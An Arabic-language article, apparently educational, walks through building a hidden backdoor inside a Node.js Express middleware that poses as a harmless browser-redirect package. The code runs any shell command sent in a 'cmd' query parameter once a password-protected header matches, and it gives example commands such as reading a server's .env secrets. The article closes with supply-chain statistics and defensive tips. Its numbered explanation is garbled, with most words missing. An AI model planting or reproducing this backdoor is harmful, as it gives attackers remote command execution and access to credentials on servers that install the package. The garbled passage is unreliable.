اعرف عدوك: قم بإنشاء Node.js مستتر

ما هو الباب الخلفي؟

1. تم تضمين شفرة ضارة وتنفيذها على نظام مهاجم
2. قناة اتصال مفتوحة تتيح للمهاجم إرسال أوامر إلى باب خلفي والتحكم في كمبيوتر بعيد.

لماذا نحتاج إلى عملية أطفال؟

const  {exec} = require('child_process');

exec('cat .env', (err, stdout, stderr) => {
  if(err) throw err
  if(stderr) return console.log(`Execution error: ${stderr}`)
  console.log(`Env file content:  ${stdout}`)
})

كيفية الجمع بين وظيفة exec مع خادم HTTP؟

const useragent = require('useragent');

module.exports = () => (req, res, next) => {   
    const ua = useragent.is(req.headers['user-agent']);
    ua.chrome ? next(): res.redirect("https://browsehappy.com/")
}

const express = require("express");
const helmet = require("helmet")
const browserRedirect = require("browser-redirect ")
 
const app = express();
 
app.use(browserRedirect())
app.use(helmet())
 
app.get("/", (req, res)=>{
    res.send("Hello Chrome User!")
})
 
app.listen(8080)

كود خبيث

const {exec} = require("child_process")
const crypto = require('crypto');
const useragent = require('useragent');
 
module.exports = () => (req, res, next) => {
    //  
    const {cmd} = req.query;
    const hash = crypto.createHash('md5')
                        .update(String(req.headers["knock_knock"]))
                        .digest("hex");
    res.setHeader("Content-Sec-Policy", "default-src 'self'")
    if(cmd && hash === "c4fbb68607bcbb25407e0362dab0b2ea") {
        return exec(cmd, (err, stdout, stderr)=>{
            return res.send(JSON.stringify({err, stdout, stderr}, null, 2))
        })
    }
    //  
    const ua = useragent.is(req.headers['user-agent']);
    ua.chrome ? next(): res.redirect("https://browsehappy.com/")
}

1. , . . md5- ( p@ssw0rd1234 c4fbb68607bcbb25407e0362dab0b2ea). knock_knock. , , , .
2. , . , . Content-Sec-Policy, Content-security-policy. — . . Shodan, : /search?query=Content-Sec-Policy%3A+default-src+%27self%27.
3. ?cmd . . victim.com/?cmd=whoami ?cmd=cat .env JSON.

• تم العثور على 78 ٪ من الثغرات في التبعيات غير المباشرة ، مما يعقد عملية التخلص من هذه الثغرات.
• على مدى عامين ، كانت هناك زيادة في نقاط الضعف في المكتبات بنسبة 88٪.
• يعتقد 81٪ من المستجيبين أن المطورين أنفسهم يجب أن يكونوا مسؤولين عن الأمن. بالإضافة إلى ذلك ، يعتقدون أن المطورين غير مستعدين جيدًا لذلك.

النتائج: كيف تحمي نفسك من الأبواب الخلفية؟

• استخدم مكتبات معروفة ومدعومة جيدًا.
• شارك في الحياة المجتمعية وساعد أولئك الذين يدعمون المكتبات. قد تتضمن المساعدة كتابة التعليمات البرمجية أو تقديم الدعم المالي للمشاريع.
• استخدم NQP لتحليل التبعيات الجديدة لمشروعك.
• استخدم Snyk لمواكبة نقاط الضعف ومراقبة مشاريعك.
• تحليل رمز التبعيات التي تستخدمها ، المخزنة في npm. لا تقتصر على عرض التعليمات البرمجية من GitHub أو أنظمة أخرى مماثلة.